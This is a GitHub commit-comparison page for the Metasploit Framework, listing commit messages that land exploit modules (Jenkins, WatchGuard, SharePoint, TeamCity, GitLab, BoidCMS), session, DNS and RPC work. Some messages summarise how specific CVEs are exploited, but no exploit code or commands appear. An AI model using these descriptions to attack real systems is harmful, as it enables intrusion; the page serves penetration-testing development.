Compare commits

...

1014 Commits

Author SHA1 Message Date
Metasploit 47d8ba5c20 automatic module_metadata_base.json update 2024-04-03 08:44:02 -05:00
adfoster-r7 926e2fa204 Land #19033, lint modules/exploits/linux/smtp/haraka.py 2024-04-03 14:19:18 +01:00
adfoster-r7 bd99cfd701 Land #19003, add Zig formatting support to msfvenom and payload generation 2024-04-02 23:17:45 +01:00
Metasploit 6a32f81210 automatic module_metadata_base.json update 2024-04-01 10:47:03 -05:00
Spencer McIntyre 3af68ef51a Land #19032, Fix bad module indentation
The wp_downloadmanager_upload module has bad indentation
2024-04-01 11:30:59 -04:00
Metasploit 44ba1b5082 automatic module_metadata_base.json update 2024-04-01 10:07:32 -05:00
Spencer McIntyre 7e132758d6 Land #19031, Extra ',' is causing ruby issues 2024-04-01 10:52:14 -04:00
Metasploit 33ca728e38 automatic module_metadata_base.json update 2024-04-01 09:48:16 -05:00
Spencer McIntyre e34f936862 Land #19030, Module indentation was wrong 2024-04-01 10:27:12 -04:00
Noam Rathaus 9cc294dbaf 1. Remove unused modules
2. Prettify code
2024-03-30 17:56:49 +03:00
Noam Rathaus c8c7e74cba Bad indentation 2024-03-30 17:06:25 +03:00
Noam Rathaus 609d356083 Extra ',' is causing ruby issues 2024-03-30 17:02:13 +03:00
Noam Rathaus e75043f00e Module indentation was wrong 2024-03-30 16:50:48 +03:00
Metasploit 4ecd106681 automatic module_metadata_base.json update 2024-03-29 15:46:34 -05:00
bwatters 3dc638909f Land #18906, Add template data files for ESC2 and ESC3
Merge branch 'land-18906' into upstream-master
2024-03-29 15:29:52 -05:00
ArchiMoebius 28ad74c663 chore(bump): rex-text 2024-03-28 23:53:59 +00:00
Metasploit 876398da31 automatic module_metadata_base.json update 2024-03-28 15:47:57 -05:00
Jack Heysel 31cf0e2633 Land #18764, Add unauth Jenkins file read module
This PR adds a new module to exploit CVE-2024-23897, an unauth arbitrary
(first 2 lines) file read on Jenkins.
2024-03-28 13:29:39 -07:00
jheysel-r7 155181fd92 Apply suggestions to fix the last code review 2024-03-28 15:54:58 -04:00
jheysel-r7 14938a2d77 Apply suggestions from code review 2024-03-28 14:41:25 -04:00
Jack Heysel 0cd2bc5010 Land #18935, Fix LDAP auto auth
This PR fixes a common user mistake when authenticating with LDAP
modules. Now users can specify either the USERNAME (user) and DOMAIN
(domain.local) datastore options or the original format of just the
USERNAME in the UPN format (user@domain.local). This updates the LDAP
library.
2024-03-28 11:19:55 -07:00
Metasploit 0e273bfc76 automatic module_metadata_base.json update 2024-03-28 12:56:24 -05:00
adfoster-r7 20af1a4259 Land #19007, don't run check modules in the background 2024-03-28 17:35:23 +00:00
Jack Heysel d7f3fd8cc0 Land #18915, Add Watchguard RCE CVE-2022-26318
This PR adds a module for a buffer overflow at the administration
interface of WatchGuard Firebox and XTM appliances. The appliances are
built from a cherrypy python backend sending XML-RPC requests to a C
binary called wgagent using pre-authentication endpoint /agent/login.
This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before
12.1.3_U8, and 12.2.x through 12.5.x before 12.5.9_U2. Successful
exploitation results in remote code execution as user nobody.
2024-03-28 10:24:32 -07:00
adfoster-r7 0580068570 Land #19014, add MySQL session type acceptance tests 2024-03-28 17:07:58 +00:00
adfoster-r7 c0d66fd3a9 Land #18933, update SQL sessions to correctly manage history 2024-03-28 17:02:05 +00:00
Metasploit 37d3c88731 automatic module_metadata_base.json update 2024-03-28 11:58:32 -05:00
cgranleese-r7 f9b20d89f3 Add MySQL session type acceptance tests 2024-03-28 16:39:27 +00:00
adfoster-r7 d6ecd9db70 Land #19021, update admin/mysql/mysql_enum for newer versions of mysql 2024-03-28 16:34:49 +00:00
Metasploit 8d3bfc05ef Bump version of framework to 6.4.2 2024-03-28 07:29:54 -05:00
adfoster-r7 69660c329d Land #19017, add better logging for failed mssql logins 2024-03-28 12:21:28 +00:00
adfoster-r7 00b9ae32f3 Land #19016, add support for guid column type in mssql and improve error logging 2024-03-28 12:18:58 +00:00
cgranleese-r7 c5e98d954b Updates to work with newer versions of MySQL 2024-03-28 12:11:35 +00:00
adfoster-r7 c79540a93a Land #18982, Add RPC methods for interactive session read and write 2024-03-28 11:32:03 +00:00
Egor Kalinichev 623307a119 Implement new interactive_read and interactive_write RPC calls for Session API to extend support of meterpreter-style session interaction via RPC to new session types. 2024-03-28 11:42:04 +01:00
h00die-gr3y 6e6f1beb92 update addressing jheysel-r7 comments 2024-03-28 08:43:08 +00:00
Zach Goldman b5d96de192 add better logging for failed logins 2024-03-27 09:54:38 -05:00
Zach Goldman 9af16b2439 add support for guid column type in mssql 2024-03-27 09:50:06 -05:00
dwelch-r7 47fc61f65d Land #19015, Allow static DNS hostnames ending in a . to be queried 2024-03-27 13:49:49 +00:00
ekalinichev-r7 c4995100bf Land #18925: Update RPC API to include Auxiliary and Exploit modules in session.compatible_modules response 2024-03-27 11:46:53 +01:00
Metasploit 86544049bb automatic module_metadata_base.json update 2024-03-26 17:02:59 -05:00
Jack Heysel abb2eb7ffd Land #18891, Add RCE module for wp bricks builder
This PR adds the wp_bricks_builder_rce exploit module that targets a
known vulnerability in the WordPress Bricks Builder Theme, versions
prior to 1.9.6.
2024-03-26 14:46:35 -07:00
Balgogan b9b4a624d9 Fix typos 2024-03-26 21:05:35 +01:00
Valentin Lobstein abc39e86f9 Update modules/exploits/multi/http/wp_bricks_builder_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-03-26 20:40:04 +01:00
Valentin Lobstein 672036f53a Update modules/exploits/multi/http/wp_bricks_builder_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-03-26 20:39:33 +01:00
Valentin Lobstein 8a1290c8a6 Update modules/exploits/multi/http/wp_bricks_builder_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-03-26 20:39:23 +01:00
Valentin Lobstein 85e27b0bc3 Update modules/exploits/multi/http/wp_bricks_builder_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-03-26 20:39:04 +01:00
Metasploit 7b172f3675 automatic module_metadata_base.json update 2024-03-26 13:07:11 -05:00
bwatters e58c6b9df2 Land #18721, SharePoint Unauth RCE Exploit Chain (CVE-2023-29357 & CVE-2023-24955)
Merge branch 'land-18721' into upstream-master
2024-03-26 12:42:22 -05:00
Spencer McIntyre 8bb690fa01 Remove any trailing dots from static names
This allows them to be queried
2024-03-26 08:40:24 -04:00
adfoster-r7 5a77f76ec9 Land #19006, Fixes WMAP plugin loading failures 2024-03-26 11:28:49 +00:00
sjanusz-r7 e2814d6ad5 Align history manager to IRBs multiple backend library approach 2024-03-26 11:16:37 +00:00
sjanusz-r7 70e27f8112 Passing history manager tests 2024-03-26 10:06:50 +00:00
sjanusz-r7 873d3500ff SQL sessions have correct history manager support 2024-03-26 10:06:50 +00:00
sjanusz-r7 abb861c80a Add interactive query log files 2024-03-26 10:06:50 +00:00
adfoster-r7 30093ea0ae Land #19012, Fix/dns/dot suffixed names 2024-03-25 21:47:40 +00:00
Metasploit 919e6d4651 automatic module_metadata_base.json update 2024-03-25 15:41:44 -05:00
bwatters e775c7c20a Land #18967, Artica Proxy unauthenticated RCE [CVE-2024-2054]
Merge branch 'land-18967' into upstream-master
2024-03-25 15:25:27 -05:00
Spencer McIntyre 6d1d20cdbe Bump rex-socket to include changes from #66 2024-03-25 14:46:14 -04:00
Spencer McIntyre 4c835545a3 Ignore the hosts file if it can't be loaded 2024-03-25 14:44:49 -04:00
Metasploit 7a3d031b15 automatic module_metadata_base.json update 2024-03-25 12:46:41 -05:00
adfoster-r7 c03e4c4ab0 Land #19009, add missing Platform to osx/local/persistence module 2024-03-25 17:31:15 +00:00
sjanusz-r7 38c5c6bb11 Add missing Platform to osx/local/persistence module 2024-03-25 16:00:25 +00:00
sjanusz-r7 88585bab40 Suggest all compatible modules for session in RPC 2024-03-25 15:55:23 +00:00
Dean Welch f132bdbe30 Enforce single module stance 2024-03-25 11:53:23 +00:00
Metasploit 0e3e7b594e automatic module_metadata_base.json update 2024-03-25 06:44:56 -05:00
cgranleese-r7 9b4114eda0 Land #18961, Adds session documentation 2024-03-25 11:23:05 +00:00
adfoster-r7 decba4350e Additional changes to documentation 2024-03-25 10:53:08 +00:00
cgranleese-r7 d3251043e5 Fixes WMAP plugin loading failures 2024-03-25 09:55:38 +00:00
ArchiMoebius 533780bde9 feat(ziglang): add buffer/comment support 2024-03-23 14:53:54 +00:00
Metasploit 685a2e9df6 automatic module_metadata_base.json update 2024-03-22 12:49:46 -05:00
dwelch-r7 a674310c22 Land #18992, Fix postgres version logging 2024-03-22 17:33:43 +00:00
adfoster-r7 acf9745200 Fix postgres version logging 2024-03-22 16:50:01 +00:00
h00die-gr3y f217312ad1 module and documentation updates based on review comments (bwatters-r7/cgranleese-r7) 2024-03-21 16:13:55 +00:00
Zach Goldman 2c307f1bb3 Adds session documentation
add more console output, add to pentesting side

split out session, help, query, query_interactive sections

add multiline examples

update mysql, smb
2024-03-21 09:52:10 -05:00
Metasploit 11c24ecdda automatic module_metadata_base.json update 2024-03-21 08:20:16 -05:00
dwelch-r7 3de8b02287 Land #18985, Fixes store_valid_credential conditional logic 2024-03-21 12:56:23 +00:00
cgranleese-r7 d750ea19eb Fixes store_valid_credential conditional logic for unix/webapp/wp_admin_shell_upload module 2024-03-21 12:22:11 +00:00
Metasploit 3af4358281 Bump version of framework to 6.4.1 2024-03-21 03:37:19 -05:00
adfoster-r7 b461f08ba3 Land #18980, improves basic shell help command 2024-03-20 21:27:12 +00:00
Metasploit a0d162bc9f automatic module_metadata_base.json update 2024-03-20 15:10:21 -05:00
Jack Heysel 2b90d33aef Land #18618, Add OpenNMS privesc and auth RCE
This module exploits built-in functionality in OpenNMS Horizon in order
to execute arbitrary commands as the opennms user. For versions 32.0.2
and higher, this module requires valid credentials for a user with
ROLE_FILESYSTEM_EDITOR privileges and either ROLE_ADMIN or ROLE_REST.
For versions 32.0.1 and lower, credentials are required for a user with
ROLE_FILESYSTEM_EDITOR, ROLE_REST, and/or ROLE_ADMIN privileges.
2024-03-20 12:54:16 -07:00
Zach Goldman c16b8e6e64 adds help command to basic shells 2024-03-20 14:18:36 -05:00
adfoster-r7 fd8354340b Land #18973, improves the help menu for sessions 2024-03-20 19:11:18 +00:00
adfoster-r7 298e03b1cd Land #18885, update the sessions command to be consistent 2024-03-20 18:49:33 +00:00
Jack Heysel 6cd7f44197 rubocop 2024-03-20 11:39:19 -07:00
Jack Heysel 149dc15b21 Add check to see if notifications are enabled 2024-03-20 11:33:15 -07:00
Zach Goldman 2c9ade955e make session query/shares help menu more explicit 2024-03-20 13:18:10 -05:00
Metasploit 1f1e6b2dbb automatic module_metadata_base.json update 2024-03-20 12:55:38 -05:00
Spencer McIntyre 321e0730e0 Land #18957, Bump Metasploit version to 6.4.0 2024-03-20 13:24:44 -04:00
Zach Goldman 1216bf1904 Land #18979, Remove empty () when no DB selected for sql session prompts 2024-03-20 12:52:02 -04:00
cgranleese-r7 2a63d0d1f0 Land #18978, Add user affordance for scanner modules that can create a new session 2024-03-20 16:50:29 +00:00
Dean Welch ff5811e96b Remove empty () when no DB selected for sql session prompts 2024-03-20 16:13:48 +00:00
adfoster-r7 d4cb976aa7 Land #18960, improves handling of dying SMB and SQL sessions 2024-03-20 16:06:04 +00:00
Dean Welch 7e3048d2f7 Grammar 2024-03-20 15:45:07 +00:00
adfoster-r7 0399768f39 Land #18974, Consistently refer to black hole as two words 2024-03-20 15:42:26 +00:00
Dean Welch 686acb4c7b Correctly format CreateSession option in output 2024-03-20 15:06:20 +00:00
Spencer McIntyre b363f6f87d Alias blackhole to black-hole in the UI 2024-03-20 10:57:04 -04:00
cgranleese-r7 961a072de4 Improves handling of dying SMB and SQL sessions 2024-03-20 14:16:01 +00:00
adfoster-r7 c9fe98b522 Bump Metasploit version to 6.4.0 2024-03-20 13:46:08 +00:00
Dean Welch 4946fc297f Add user affordance for scanner modules that can create a new session 2024-03-20 12:14:49 +00:00
Spencer McIntyre 2b3a723557 Consistently refer to black hole as two words 2024-03-19 20:49:28 -04:00
Jack Heysel d03dfe8991 Land #18841, Update sap_icm_paths.txt wordlist
This PR updates the sap_icm_paths.txt wordlist with the newest enteries.
2024-03-19 16:40:09 -07:00
bwatters 1e47b33857 Land #18971, Adjust multiple DNS related things
Merge branch 'land-18971' into upstream-master
2024-03-19 12:34:51 -05:00
Metasploit 7f761d074d automatic module_metadata_base.json update 2024-03-19 11:56:36 -05:00
Spencer McIntyre b3b6f79594 Update the presentation of static entries
Keep the first line blank for consistency with rules and sort hostnames
and addresses.
2024-03-19 12:48:13 -04:00
Spencer McIntyre 0cf4737317 Add specs for resolver spell checking 2024-03-19 12:48:13 -04:00
Spencer McIntyre 5b1d0100d2 Add spell checking for resolvers 2024-03-19 12:48:07 -04:00
Spencer McIntyre 0f9986c787 Land #18947, Fix inconsistent casing
Fix inconsistent casing in windows/local/wmi_persistence
2024-03-19 12:40:34 -04:00
cgranleese-r7 ca97d5d9eb Land #18965, Remove stale documentation link 2024-03-19 16:06:55 +00:00
adfoster-r7 ff775b7b23 Remove stale documentation link 2024-03-19 13:46:35 +00:00
Spencer McIntyre e8b99343a6 Add static entries examples and fix black hole 2024-03-19 09:13:21 -04:00
Metasploit 7c7fa36685 automatic module_metadata_base.json update 2024-03-18 15:56:27 -05:00
Jack Heysel bf0d81db03 Land #18838, Improve Runc Priv Esc Check
This PR adds support for Debian and number of fixes and improvements for
the runc_cwd_priv_esc. Proir to this fix the module would report
vulnerable for a number of versions that the patch had been back ported
to.
2024-03-18 13:31:09 -07:00
h00die-gr3y e84fe947c2 third release module and documentation updates 2024-03-15 23:33:29 +00:00
h00die-gr3y 5dd75e174b second release module and documentation 2024-03-15 18:27:59 +00:00
h00die-gr3y df0012a63f initial release module 2024-03-15 16:10:05 +00:00
Gaurav Jain 287b07281d Use Rex Parser to parse options for sessions command 2024-03-15 18:50:19 +05:30
Gaurav Jain 02713fcadb Update tests for sessions command 2024-03-15 01:26:18 +05:30
adfoster-r7 15c56a870e Land #18895, Add upload/download/delete/mkdir/rmdir to smb session 2024-03-14 10:51:48 +00:00
Metasploit 7cabfd7855 Bump version of framework to 6.3.61 2024-03-14 03:35:21 -05:00
Metasploit d2c19efeac automatic module_metadata_base.json update 2024-03-13 19:28:29 -05:00
adfoster-r7 55dd5aa9c0 Land #18899, update ysoserial viewstate tool 2024-03-14 00:12:38 +00:00
Christophe De La Fuente 44c5422e07 Land #18922, JetBrains TeamCity Unauthenticated RCE exploit module (CVE-2024-27198) 2024-03-13 20:16:27 +01:00
cgranleese-r7 d2c599eaf4 Land #18954, Ensure modules honor spooler settings 2024-03-13 16:48:30 +00:00
sfewer-r7 6d84f0e898 reduce the size of teh exploit method by spinngin out two new methods create_payload_plugin and auth_new_admin_user. several if/unless blocks were flattened to be inline if/unless 2024-03-13 09:58:51 +00:00
sfewer-r7 4bd105202a improve the readability of the XML 2024-03-13 09:29:43 +00:00
sfewer-r7 b04e84ed99 clarify we must call this a second time 2024-03-13 09:17:18 +00:00
sfewer-r7 df2c94f873 anther typo 2024-03-13 09:14:23 +00:00
Stephen Fewer b9e82375c1 typo
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2024-03-13 09:13:11 +00:00
Stephen Fewer d7bf7bc2ea Use Failure::NoAccess as a better failure error, as we are trying to login
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2024-03-13 09:12:56 +00:00
Stephen Fewer 46dd21d69d use ||= to assign new hash if needed
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2024-03-13 09:11:42 +00:00
Christophe De La Fuente fbbaf69050 Land #18949, notify the user the DNS feature requires a restart 2024-03-12 20:15:15 +01:00
Christophe De La Fuente 8989b3226f Update the wording for the DNS feature warning restart message 2024-03-12 20:14:22 +01:00
adfoster-r7 4292488925 Ensure modules honor spooler settings 2024-03-12 18:01:23 +00:00
Metasploit 923f4c9f7b automatic module_metadata_base.json update 2024-03-12 11:45:17 -05:00
adfoster-r7 81e96d3e71 Land #18952, Updates Postgres hashdump module to now work with newer versions of Postgres 2024-03-12 16:29:01 +00:00
cgranleese-r7 1baf86842e Land #18951, Update acceptance test readme 2024-03-12 16:26:08 +00:00
dwelch-r7 d88185bff0 Land #18945, Fix crash when running http crawler with database connected 2024-03-12 16:13:44 +00:00
cgranleese-r7 a33e7a72b0 Updates Postgres hashdump module to now work with newer versions of Postgres 2024-03-12 16:13:04 +00:00
adfoster-r7 9a9c27bb60 Fix crash when running http crawler with database connected 2024-03-12 15:47:32 +00:00
adfoster-r7 290656faaf Update acceptance test readme 2024-03-12 15:25:23 +00:00
Metasploit b52d79ec49 automatic module_metadata_base.json update 2024-03-12 09:27:23 -05:00
cgranleese-r7 4e0e3da74c Land #18835, clean up code duplication 2024-03-12 14:09:22 +00:00
Spencer McIntyre a366f6a819 The DNS feature requires a restart, so flag it
Also rename DNS_FEATURE to simply DNS because in this context, the
FEATURE suffix is redundant.
2024-03-12 09:58:52 -04:00
Christophe De La Fuente f4fedc2195 Land #18868, Add documentation for the new DNS command 2024-03-12 14:08:08 +01:00
Spencer McIntyre c8d50bda0f Add documentation for the new DNS command 2024-03-12 08:59:08 -04:00
Dean Welch 689caf4bd1 Add upload/download/delete/mkdir/rmdir to smb session 2024-03-12 11:56:29 +00:00
Christophe De La Fuente 69f368b8f4 Land #18944, Fix saving and loading DNS rules from the config 2024-03-12 12:10:58 +01:00
cgranleese-r7 d964edde11 Land #18932, Add postgres acceptance tests 2024-03-12 10:36:46 +00:00
Adrian Șendroiu 2007e6d8fb Fix inconsistent casing in windows/local/wmi_persistence 2024-03-12 12:17:46 +02:00
Spencer McIntyre 65cc577694 Fix saving and loading DNS rules from the config 2024-03-11 14:55:36 -04:00
sfewer-r7 1e371d0e4a resolve teh Java payload issue on Linux by leveraging PayloadServlet, runnign teh payload in a thread, and forcing teh default optiosn for Spawn to be 0 2024-03-11 18:06:44 +00:00
SickMcNugget 67fcd57a1f Merge branch 'runc_priv_esc' of github.com:SickMcNugget/metasploit-framework into runc_priv_esc 2024-03-11 22:23:55 +08:00
SickMcNugget 6c1b4c1421 Update check to account for backports 2024-03-11 22:19:18 +08:00
Metasploit 172a200525 automatic module_metadata_base.json update 2024-03-11 09:10:38 -05:00
Zach Goldman 7ce91df66e clean up code duplication 2024-03-11 09:09:46 -05:00
Christophe De La Fuente 0252429715 Land #18775, Adding new module for MinIO (CVE-2023-28432) 2024-03-11 14:46:59 +01:00
adfoster-r7 49a5f0d113 Land #18937, fix docs typo 2024-03-11 10:27:57 +00:00
sfewer-r7 0513654f10 Fix edge case for java payloads when Spawn is set to 0, all access to the plugin will block. We can still get a session if we fall through here. We cant delete the plugin as access will block because we did not spawn. 2024-03-08 17:09:14 +00:00
sfewer-r7 ab0327fb33 clarify we are using SpEL not OGNL here 2024-03-08 15:57:46 +00:00
cudalac 980c5053f4 Peer Review 2024-03-08 08:54:38 -05:00
h00die-gr3y 7f02daf37d use send_request_cgi for payload delivery 2024-03-08 10:53:45 +00:00
Josh 4078707933 fix typo 2024-03-07 23:28:29 +01:00
h00die-gr3y 66e7f3c582 third release module 2024-03-07 21:22:14 +00:00
Spencer McIntyre fc2d5c2659 Fix ldap auto authentication
When the auth method is set to auto and a domain is specific, use NTLM.
2024-03-07 14:04:08 -05:00
Spencer McIntyre 7bce40308a Update module data to improve discoverability 2024-03-07 13:28:22 -05:00
Metasploit 1d764c1780 automatic module_metadata_base.json update 2024-03-07 08:05:54 -06:00
Christophe De La Fuente ba75b3bb3f Land #18716, gitlab password reset account takeover (CVE-2023-7028) 2024-03-07 14:40:29 +01:00
cgranleese-r7 169ea31673 Land #18930, Adds a help command within the interactive query prompt 2024-03-07 12:07:15 +00:00
adfoster-r7 0139ed61d1 Land #18931, adds notification when initially entering a SQL shell within SQL session types 2024-03-07 11:50:05 +00:00
cgranleese-r7 0fad7bbe1c Adds a notification when initially interatcing with SQL shell via command 2024-03-07 11:34:45 +00:00
Dean Welch 2a68e04292 Update help message 2024-03-07 11:03:07 +00:00
adfoster-r7 e7bc17cab3 Add postgres acceptance tests 2024-03-07 10:35:45 +00:00
Metasploit b91b718077 Bump version of framework to 6.3.60 2024-03-07 03:34:49 -06:00
adfoster-r7 a3a331a07a Land #18926, updates new sessions to have a consistent local file system API 2024-03-06 17:03:58 +00:00
Metasploit 05a7698773 automatic module_metadata_base.json update 2024-03-06 11:00:31 -06:00
Christophe De La Fuente e20558ec35 Land #18821, Gitlab public email disclosure CVE-2023-5612 2024-03-06 17:39:24 +01:00
Christophe De La Fuente f872535c68 Small missing updates before it land 2024-03-06 17:37:33 +01:00
Dean Welch 60431057ad Adds a help command within the interactive query prompt 2024-03-06 16:32:16 +00:00
Metasploit 8f759af4de automatic module_metadata_base.json update 2024-03-06 10:09:24 -06:00
cgranleese-r7 64831b67f1 Update new session to have a consistent local fs API 2024-03-06 15:52:09 +00:00
Spencer McIntyre 23e0abe2f6 Land #18686, ssh_version module 2024-03-06 10:32:01 -05:00
cgranleese-r7 b114058389 Land #18928, Don't close smb client when it comes from the session 2024-03-06 15:29:02 +00:00
cgranleese-r7 c411802163 Land #18929, Update yard dependencies 2024-03-06 15:17:28 +00:00
adfoster-r7 c3eca46de4 Update yard dependencies 2024-03-06 14:56:11 +00:00
Dean Welch 936b311a1b Don't close smb client when it comes from the session 2024-03-06 14:20:34 +00:00
cgranleese-r7 9af1f6970a Land #18920, Fix smb session autorun 2024-03-06 12:20:44 +00:00
adfoster-r7 76e27ed208 Land #18924, allow selecting auxiliary modules in RPC 2024-03-06 11:49:05 +00:00
h00die 8b6f7594e4 ssh_version module 2024-03-05 17:18:24 -05:00
h00die c4837d09e9 ssh_version module 2024-03-05 17:15:43 -05:00
Metasploit 7b595d2354 automatic module_metadata_base.json update 2024-03-05 15:33:49 -06:00
Spencer McIntyre 9b8b7045ff Land #18715, Add Splunk library 2024-03-05 16:17:30 -05:00
Spencer McIntyre 57bc748e9c Land #18921, Add ip to smb session prompt 2024-03-05 15:17:26 -05:00
Gaurav Jain 985b0ba47f Add reviewed changes to splunk library 2024-03-06 01:32:57 +05:30
Spencer McIntyre b30f264630 Land #18844, fix #file_dropper_exist? for Window
Bugfix Msf::Exploit::FileDropper#file_dropper_exist? for Windows sessions
2024-03-05 15:01:20 -05:00
h00die-gr3y 7dbd25bcbf added documentation 2024-03-05 18:42:09 +00:00
Metasploit e7a520738d automatic module_metadata_base.json update 2024-03-05 12:38:24 -06:00
adfoster-r7 4eb4c3b025 Land #18923, Use HTTPS link for postgres_sql reference 2024-03-05 18:19:28 +00:00
sjanusz-r7 41d458f038 Allow selecting auxiliary modules in RPC 2024-03-05 17:55:05 +00:00
sjanusz-r7 1667da7b07 Use HTTPS link for postgres_sql reference 2024-03-05 17:49:13 +00:00
Dean Welch b473b6de77 Add ip to smb session prompt 2024-03-05 15:23:21 +00:00
Dean Welch 2399c2a393 Fix smb session autorun 2024-03-05 15:07:53 +00:00
sfewer-r7 5c56d6a4fc typo 2024-03-05 14:47:04 +00:00
sfewer-r7 b925f798e5 typo and clarify description 2024-03-05 14:39:17 +00:00
sfewer-r7 aac4ef09cc add in disclosure date and blogs 2024-03-05 11:09:22 +00:00
jheysel-r7 1124e347df Fix rubocop error 2024-03-04 18:39:58 -05:00
jheysel-r7 bf59f58661 Update modules/auxiliary/gather/gitlab_tags_rss_feed_email_disclosure.rb 2024-03-04 18:34:35 -05:00
Metasploit 95283f7d3e automatic module_metadata_base.json update 2024-03-04 13:57:33 -06:00
Christophe De La Fuente 1e8e6d3bc4 Land #18796, Enhance ManageEngine Endpoint Central and ServiceDesk Plus CVE-2022-47966 2024-03-04 20:35:22 +01:00
Christophe De La Fuente 39af0bf535 Set Java target default paylaod to java/meterpreter/reverse_tcp 2024-03-04 20:33:27 +01:00
h00die-gr3y 6bc74364e1 second release module 2024-03-04 18:57:54 +00:00
cgranleese-r7 9b2b042e19 Land #18875, Add conditional option validation depending on SESSION/RHOST connection 2024-03-04 17:36:52 +00:00
Dean Welch 2df926ae1d Yard doc required options 2024-03-04 17:13:16 +00:00
Metasploit 2eaec5b9a8 automatic module_metadata_base.json update 2024-03-04 09:14:08 -06:00
cgranleese-r7 4fc9e269ae Land #18862, Align SQL sessions peerhost and peerport 2024-03-04 14:57:26 +00:00
sfewer-r7 d748adcf80 check the expected response from a patched server 2024-03-04 14:32:39 +00:00
sjanusz-r7 3c8f43e23e Align SQL sessions peerhost and peerport 2024-03-04 13:11:32 +00:00
Metasploit e912509715 automatic module_metadata_base.json update 2024-03-04 06:41:30 -06:00
dwelch-r7 28a38f3aa0 Land #18908, Update SAMR computer and ICPR cert to support SMB sessions 2024-03-04 12:20:53 +00:00
cgranleese-r7 97ef5cf827 Land #18903, Update sql prompt on db change 2024-03-04 11:23:44 +00:00
adfoster-r7 06593b02b2 Land #18911, Resolve deprecation warnings from actions/checkout in Github actions 2024-03-04 10:54:24 +00:00
h00die 7f6be50855 review of ssh_version improvements 2024-03-03 17:59:00 -05:00
h00die-gr3y 5d20321153 first release module 2024-03-03 19:38:02 +00:00
h00die f2d836d008 review of ssh_version improvements 2024-03-03 09:18:52 -05:00
KanchiMoe ac7c06e18c Upversion Github Actions 2024-03-02 14:30:54 +00:00
adfoster-r7 8e5f26fac0 Land #18905, update the SMB session pwd command output to be in line with SMB client output 2024-03-01 20:07:59 +00:00
adfoster-r7 76166c0d14 Update SAMR computer and ICPR cert to support SMB sessions 2024-03-01 17:53:58 +00:00
sfewer-r7 a5fb83d0e1 add in 2023.11.2 as tested on 2024-03-01 17:03:38 +00:00
sfewer-r7 9988117cca rename with cve number 2024-03-01 16:42:59 +00:00
sfewer-r7 fa4a16df5e add in cve number 2024-03-01 16:39:38 +00:00
Balgogan 1f05f9a0f1 Add recommendation 2024-03-01 14:36:13 +01:00
sjanusz-r7 8184035d57 Show query help on empty query call 2024-03-01 11:33:13 +00:00
sjanusz-r7 82486e712c Early return on nil query result 2024-03-01 11:28:28 +00:00
sjanusz-r7 6b11cd4332 Fix tests broken by updating SQL prompt on DB change 2024-03-01 11:27:52 +00:00
sjanusz-r7 1b73044203 Correctly handle changing of databases and the query return values for SQL sessions 2024-03-01 11:27:52 +00:00
Metasploit 401cdca09b automatic module_metadata_base.json update 2024-02-29 23:48:56 -06:00
Jack Heysel a73a7531a9 Land #18827, Add module for BoidCMS CVE-2023-38836
This is an authenticated RCE against BoidCMS versions 2.0.0 and earlier.
The underlying issue is that the file upload check allows a php file to
be uploaded and executes as a media file if the GIF header is present in
the PHP file.
2024-02-29 21:31:44 -08:00
Metasploit ee681cdb79 automatic module_metadata_base.json update 2024-02-29 17:20:20 -06:00
adfoster-r7 d4791f966b Land #18904, change bloodhound OutputDirectory to OptString 2024-02-29 23:03:13 +00:00
adfoster-r7 d10909c961 Land #18887, Adds support for searching by session types 2024-02-29 22:38:20 +00:00
adfoster-r7 4d85a8dff9 Land #18902, Update github action libraries 2024-02-29 22:29:16 +00:00
adfoster-r7 703e9ba68d Land #18896, Resolve deprecation warnings from setup-python in Github actions 2024-02-29 22:28:53 +00:00
Spencer McIntyre bcb4e3aa9d Update the help output in the docs page too 2024-02-29 16:56:06 -05:00
Spencer McIntyre d09053cde5 Add the viewstate generator as an option 2024-02-29 16:56:06 -05:00
Spencer McIntyre 3e80e04b34 Adjust option validation 2024-02-29 16:56:06 -05:00
Spencer McIntyre f1a9d9988a Update the dot_net.rb tool help output 2024-02-29 16:56:06 -05:00
Spencer McIntyre 0975f99305 Add viewstate options 2024-02-29 16:55:59 -05:00
Spencer McIntyre 87f91f284a Add unit tests for the new rex viewstate library 2024-02-29 16:55:54 -05:00
Spencer McIntyre 88ea9af859 Add ESC2 and ESC3 templates too 2024-02-29 16:15:39 -05:00
Spencer McIntyre b2c5a4f335 Print some additional attributes for debugging 2024-02-29 16:15:39 -05:00
Spencer McIntyre dfb271d883 Don't crash when attributes are missing 2024-02-29 15:07:34 -05:00
bwatters 550c6f030a Updates based on jheysel-r7's suggestions 2024-02-29 12:42:22 -06:00
adfoster-r7 fcbb3bddfa Update github action libraries 2024-02-29 15:51:23 +00:00
cgranleese-r7 0c1bcbf275 Adds support for searching by session types 2024-02-29 15:15:40 +00:00
cgranleese-r7 fcba49d23a Update pwd output to be inline with smb client output 2024-02-29 15:11:40 +00:00
Patrick Double 8b1ff6d44e change bloodhound OutputDirectory to OptString
OptPath is intended for a local path and performs validation. Attempting to set it to a target path that doesn't exist on the local fails.
2024-02-29 07:12:37 -06:00
sjanusz-r7 6fe9ef5f8c Align SQL clients to use current_database 2024-02-29 12:34:54 +00:00
cgranleese-r7 17315653a5 Land #18901, Fix Rex MySQL wrapper test to have correct method symbol 2024-02-29 11:48:16 +00:00
sjanusz-r7 bc4362d07d Fix Rex MySQL wrapper test to have correct method symbol 2024-02-29 11:16:18 +00:00
Metasploit a0dc757cb8 automatic module_metadata_base.json update 2024-02-29 05:06:39 -06:00
adfoster-r7 b0123eab2e Land #18890, rename shell to query_interactive for sql session types, add -i flag 2024-02-29 10:41:06 +00:00
adfoster-r7 d8abd2bcc2 Land #18898, Add rex proto mysql client wrapper 2024-02-29 10:13:47 +00:00
dwelch-r7 a4543b0f41 Land #18897, Update smb login to support additional configuration 2024-02-29 10:07:02 +00:00
Metasploit 435759bb47 Bump version of framework to 6.3.59 2024-02-29 03:39:23 -06:00
sfewer-r7 f0ca5c10dc we can shuffle thequery params so teh jsp param is not first. we can optionally add soem charachters before the trailing .jsp 2024-02-29 09:13:44 +00:00
